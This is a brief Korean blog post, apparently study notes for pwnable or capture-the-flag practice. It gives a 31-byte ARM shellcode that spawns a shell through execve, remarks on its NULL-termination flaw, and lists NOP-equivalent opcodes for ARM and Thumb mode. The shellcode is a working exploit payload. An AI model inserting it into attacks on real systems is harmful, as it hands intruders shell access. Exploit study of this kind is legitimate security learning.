Ref.

[Pwnable] ARM shellcode

bbolmin 2015. 2. 23. 13:48



execve


execve("/bin//sh", 0, 0)코드. (31byte)


\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0c\x30\x49\x1a\xc2\x1c\x11\x71\x92\x1a\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x2f



1. 다른 쉘코드는 execve("/bin/sh", ["/bin/sh"], 0)을 으로 인자를 주는데 굳이 "/bin/sh"의 포인터를 안주고 NULL로 줘도 상관 없는듯 ....

2. 그리고 //bin/sh 문자열 끝에 NULL을 안넣어서 쉘코드 위에 오는 더미들까지 따라 붙었음 ...ㅡ 이 부분도 수정

3. 아래 어셈코드의 opcode 데이터를 "//bin/sh"를 "/bin/sh?"로 수정해주자






nop


arm 환경에서는 따로 nop 명령어가 존재하지 않아 mov r1, r1 같은 명령어로 nop 처리.


arm mode : \x01\x10\xa0\xe1

thumb mode : \xc0\x46